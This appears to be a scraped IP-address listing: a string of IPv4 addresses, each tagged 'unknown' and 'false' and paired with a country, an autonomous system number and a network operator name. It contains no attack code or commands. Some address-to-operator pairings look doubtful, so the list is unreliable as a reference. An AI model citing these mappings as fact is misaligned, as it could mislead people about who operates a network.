 unknown Argentina
7303 TelecomArgentinaSAAR false
59.105.144.157
 unknown Taiwan; Republic of China (ROC)
4780 SEEDNETDigitalUnitedIncTW false
203.158.131.162
 unknown Thailand
135588 UNINET-AS-RMUTTO-CPCRajamangalaUniversityofTechnologyTa false
84.170.34.95
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
66.184.230.232
 unknown United States
7029 WINDSTREAMUS false
209.219.240.51
 unknown United States
7029 WINDSTREAMUS false
130.15.151.129
 unknown Canada
31983 QUEENSU-KINGSTONCA false
40.34.31.170
 unknown United States
4249 LILLY-ASUS false
106.77.42.227
 unknown India
45271 ICLNET-AS-APIdeaCellularLimitedIN false
31.123.23.78
 unknown United Kingdom
12576 EELtdGB false
60.84.87.196
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
145.39.202.223
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
57.124.58.28
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
166.245.40.201
 unknown United States
6614 USCC-ASNUS false
161.70.93.108
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
33.22.128.22
 unknown United States
2686 ATGS-MMD-ASUS false
93.152.166.86
 unknown Bulgaria
31250 ONLINEDIRECT-ASBG false
155.239.180.184
 unknown South Africa
5713 SAIX-NETZA false
44.206.248.96
 unknown United States
14618 AMAZON-AESUS false
56.61.244.111
 unknown United States
2686 ATGS-MMD-ASUS false
79.9.222.24
 unknown Italy
3269 ASN-IBSNAZIT false
38.138.22.18
 unknown United States
174 COGENT-174US false
149.166.179.215
 unknown United States
87 INDIANA-ASUS false
213.185.212.7
 unknown United Kingdom
1273 CWVodafoneGroupPLCEU false
81.190.191.169
 unknown Poland
21021 MULTIMEDIA-ASCableDTVInternetVoiceProviderinPoland false
22.136.13.54
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
220.45.100.208
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
192.155.208.53
 unknown United States
36351 SOFTLAYERUS false
94.88.222.243
 unknown Italy
3269 ASN-IBSNAZIT false
39.156.31.41
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
30.173.53.61
 unknown United States
7922 COMCAST-7922US false
78.139.174.25
 unknown Georgia
20771 CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE false
44.97.145.3
 unknown United States
7377 UCSDUS false
21.43.25.174
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false